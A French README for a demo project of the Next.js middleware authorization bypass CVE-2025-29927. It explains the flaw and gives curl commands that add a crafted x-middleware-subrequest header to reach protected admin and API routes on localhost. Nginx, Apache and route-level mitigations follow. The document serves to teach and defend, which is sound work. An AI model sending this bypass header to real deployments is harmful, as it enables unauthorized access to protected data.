
Démonstration de la vulnérabilité de contournement d'autorisation du Middleware dans Next.js (CVE-2025-29927) permettant à des utilisateurs non autorisés d'accéder à des informations protégées.
Ce repo fournit un projet d'exemple qui démontre la vulnérabilité de contournement d'autorisation dans le middleware Next.js (CVE-2025-29927). Cette vulnérabilité permet à des utilisateurs non autorisés d'accéder à des ressources protégées.
CVE-2025-29927 est une vulnérabilité de sécurité grave (score CVSS : 9.1) affectant le système de middleware de Next.js. Un attaquant peut contourner complètement les vérifications de sécurité du middleware en ajoutant un en-tête x-middleware-subrequest spécialement conçu à la requête HTTP.
/admin) sans authentification/api/confidential)cd et exécutez npm install pour installer les dépendancesnpm run dev pour lancer le serveur de développement Next.jshttp://localhost:3000 dans votre navigateur pour voir l'état actuel du siteNext.js utilise un en-tête interne x-middleware-subrequest pour empêcher les appels récursifs du middleware de provoquer une boucle infinie. Cependant, cet en-tête peut être exploité par des requêtes externes. Lorsque la requête contient cet en-tête et atteint la profondeur de récursion maximale (MAX_RECURSION_DEPTH), Next.js ignore complètement l'exécution du middleware.
Tout d'abord, essayez d'accéder normalement au chemin protégé :
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v
Résultat attendu : sera redirigé vers la page de connexion (302 redirect to /login)
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v
Résultat attendu : renvoie une erreur 401 Unauthorized
Maintenant, utilisez un en-tête spécialement conçu pour contourner le middleware :
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Résultat attendu : accès réussi au contenu de la page d'administration (200 OK)
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Résultat attendu : accès réussi à l'API et obtention d'informations confidentielles (200 OK)
Vous pouvez également utiliser les outils de développement du navigateur pour tester :
x-middleware-subrequestmiddleware:middleware:middleware:middleware:middlewarehttp://localhost:3000/admin/dashboardLorsque le middleware reçoit une requête contenant l'en-tête x-middleware-subrequest :
Mettez à jour vers les versions corrigées :
Si une mise à jour immédiate n'est pas possible, vous pouvez bloquer les requêtes contenant l'en-tête x-middleware-subrequest au niveau du proxy inverse (Nginx, Apache, etc.) :
Exemple de configuration Nginx :
location / {
if ($http_x_middleware_subrequest) {
return 403;
}
proxy_pass http://localhost:3000;
}
Exemple de configuration Apache :
RequestHeader unset x-middleware-subrequest
En plus du middleware, implémentez des vérifications d'authentification dans les gestionnaires de routes également :
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
// 不要只依賴 middleware,在這裡也檢查認證
if (!isAuthenticated(request)) {
return new Response('Unauthorized', { status: 401 });
}
// ... 處理請求
}